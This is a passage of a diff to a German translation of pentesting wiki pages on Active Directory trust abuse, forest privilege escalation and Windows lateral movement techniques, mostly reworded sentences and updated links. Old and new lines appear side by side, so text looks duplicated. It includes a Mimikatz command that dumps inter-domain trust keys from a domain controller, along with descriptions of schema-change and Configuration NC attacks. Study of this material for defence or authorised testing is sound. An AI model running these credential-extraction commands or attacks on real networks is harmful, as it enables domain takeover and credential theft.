- **Mitgliedschaft in Gruppen der Fremddomäne**: Prinzipale können auch Mitglieder von Gruppen innerhalb der Fremddomäne sein. Die Wirksamkeit dieser Methode hängt jedoch von der Art der Vertrauensstellung und dem Umfang der Gruppe ab.
- **Mitgliedschaft in Gruppen der Fremddomäne**: Prinzipale können auch Mitglieder von Gruppen innerhalb der Fremddomäne sein. Die Wirksamkeit dieser Methode hängt jedoch von der Art des Vertrauens und dem Umfang der Gruppe ab.
- **Zugriffskontrolllisten (ACLs)**: Prinzipale könnten in einer **ACL** angegeben sein, insbesondere als Entitäten in **ACEs** innerhalb einer **DACL**, die ihnen Zugriff auf spezifische Ressourcen gewährt. Für diejenigen, die tiefer in die Mechanik von ACLs, DACLs und ACEs eintauchen möchten, ist das Whitepaper mit dem Titel “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” eine wertvolle Ressource.
### Kind-zu-Eltern-Waldprivilegieneskalation
### Kind-zu-Eltern-Wald-Berechtigungseskalation
```
Get-DomainTrust
@ -565,7 +565,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
```
> [!WARNING]
> Es gibt **2 vertrauenswürdige Schlüssel**, einen für _Child --> Parent_ und einen anderen für _Parent_ --> _Child_.\
> Sie können den aktuellen Schlüssel des aktuellen Domäne mit folgendem Befehl abrufen:
> Sie können den aktuellen Schlüssel des verwendeten Domänen mit folgendem Befehl abrufen:
>
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -582,7 +582,7 @@ sid-history-injection.md
#### Ausnutzen des beschreibbaren Configuration NC
Das Verständnis, wie der Configuration Naming Context (NC) ausgenutzt werden kann, ist entscheidend. Der Configuration NC dient als zentrales Repository für Konfigurationsdaten in einer Active Directory (AD)-Umgebung. Diese Daten werden auf jeden Domain Controller (DC) innerhalb des Waldes repliziert, wobei beschreibbare DCs eine beschreibbare Kopie des Configuration NC führen. Um dies auszunutzen, muss man **SYSTEM-Rechte auf einem DC** haben, vorzugsweise auf einem Child DC.
Das Verständnis, wie der Configuration Naming Context (NC) ausgenutzt werden kann, ist entscheidend. Der Configuration NC dient als zentrales Repository für Konfigurationsdaten in Active Directory (AD)-Umgebungen. Diese Daten werden auf jeden Domain Controller (DC) innerhalb des Waldes repliziert, wobei beschreibbare DCs eine beschreibbare Kopie des Configuration NC führen. Um dies auszunutzen, muss man **SYSTEM-Rechte auf einem DC** haben, vorzugsweise auf einem Child DC.
**GPO mit Root-DC-Standort verknüpfen**
@ -598,7 +598,7 @@ Eine detaillierte Analyse findet sich in der Diskussion über [Golden gMSA Trust
**Schema-Änderungsangriff**
Diese Methode erfordert Geduld, da auf die Erstellung neuer privilegierter AD-Objekte gewartet werden muss. Mit SYSTEM-Rechten kann ein Angreifer das AD-Schema ändern, um jedem Benutzer die vollständige Kontrolle über alle Klassen zu gewähren. Dies könnte zu unbefugtem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.
Diese Methode erfordert Geduld, um die Erstellung neuer privilegierter AD-Objekte abzuwarten. Mit SYSTEM-Rechten kann ein Angreifer das AD-Schema ändern, um einem Benutzer die vollständige Kontrolle über alle Klassen zu gewähren. Dies könnte zu unbefugtem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.
Weiterführende Informationen sind verfügbar zu [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
In diesem Szenario **wird Ihre Domäne von einer externen vertraut** und gibt Ihnen **unbestimmte Berechtigungen** darüber. Sie müssen herausfinden, **welche Prinzipale Ihrer Domäne welchen Zugriff auf die externe Domäne haben** und dann versuchen, dies auszunutzen:
In diesem Szenario **wird Ihre Domäne von einer externen vertraut** und gibt Ihnen **unbestimmte Berechtigungen** über sie. Sie müssen herausfinden, **welche Prinzipale Ihrer Domäne welchen Zugriff auf die externe Domäne haben** und dann versuchen, dies auszunutzen:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -658,20 +658,20 @@ rdp-sessions-abuse.md
### **SID-Filterung:**
- Das Risiko von Angriffen, die das SID-Historienattribut über Waldvertrauensstellungen ausnutzen, wird durch SID-Filterung gemindert, die standardmäßig bei allen inter-waldlichen Vertrauensstellungen aktiviert ist. Dies basiert auf der Annahme, dass intra-waldliche Vertrauensstellungen sicher sind, wobei der Wald, nicht die Domäne, als Sicherheitsgrenze gemäß Microsofts Standpunkt betrachtet wird.
- Das Risiko von Angriffen, die das SID-Historienattribut über Waldvertrauen ausnutzen, wird durch SID-Filterung gemindert, die standardmäßig bei allen inter-waldlichen Vertrauensstellungen aktiviert ist. Dies basiert auf der Annahme, dass intra-waldliche Vertrauensstellungen sicher sind, wobei der Wald, nicht die Domäne, als Sicherheitsgrenze gemäß Microsofts Standpunkt betrachtet wird.
- Es gibt jedoch einen Haken: Die SID-Filterung könnte Anwendungen und den Benutzerzugriff stören, was gelegentlich zu ihrer Deaktivierung führt.
### **Selektive Authentifizierung:**
- Bei inter-waldlichen Vertrauensstellungen stellt die Verwendung selektiver Authentifizierung sicher, dass Benutzer aus den beiden Wäldern nicht automatisch authentifiziert werden. Stattdessen sind explizite Berechtigungen erforderlich, damit Benutzer auf Domänen und Server innerhalb der vertrauenden Domäne oder des Waldes zugreifen können.
- Bei inter-waldlichen Vertrauensstellungen stellt die Verwendung von selektiver Authentifizierung sicher, dass Benutzer aus den beiden Wäldern nicht automatisch authentifiziert werden. Stattdessen sind explizite Berechtigungen erforderlich, damit Benutzer auf Domänen und Server innerhalb der vertrauenden Domäne oder des Waldes zugreifen können.
- Es ist wichtig zu beachten, dass diese Maßnahmen nicht vor der Ausnutzung des beschreibbaren Configuration Naming Context (NC) oder Angriffen auf das Vertrauenskonto schützen.
[**Weitere Informationen zu Domänenvertrauen bei ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
[**Weitere Informationen zu Domänenvertrauten in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## Einige allgemeine Abwehrmaßnahmen
@ -692,7 +692,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **Identifizierung von Täuschung**
- **Für Benutzerobjekte**: Verdächtige Indikatoren sind atypische ObjectSID, seltene Anmeldungen, Erstellungsdaten und niedrige Fehlversuche bei Passwörtern.
- **Für Benutzerobjekte**: Verdächtige Indikatoren sind atypische ObjectSID, seltene Anmeldungen, Erstellungsdaten und niedrige Anzahl an falschen Passwörtern.
- **Allgemeine Indikatoren**: Der Vergleich von Attributen potenzieller Lockvogelobjekte mit denen echter Objekte kann Inkonsistenzen aufdecken. Tools wie [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) können bei der Identifizierung solcher Täuschungen helfen.
### **Umgehung von Erkennungssystemen**

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Es gibt verschiedene Möglichkeiten, Befehle in externen Systemen auszuführen. Hier finden Sie die Erklärungen, wie die wichtigsten Techniken für laterale Bewegungen in Windows funktionieren:
Es gibt verschiedene Möglichkeiten, Befehle in externen Systemen auszuführen. Hier finden Sie die Erklärungen, wie die wichtigsten Windows-Techniken zur lateralen Bewegung funktionieren:
- [**PsExec**](psexec-and-winexec.md)
- [**SmbExec**](smbexec.md)
@ -10,8 +10,8 @@ Es gibt verschiedene Möglichkeiten, Befehle in externen Systemen auszuführen.
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}}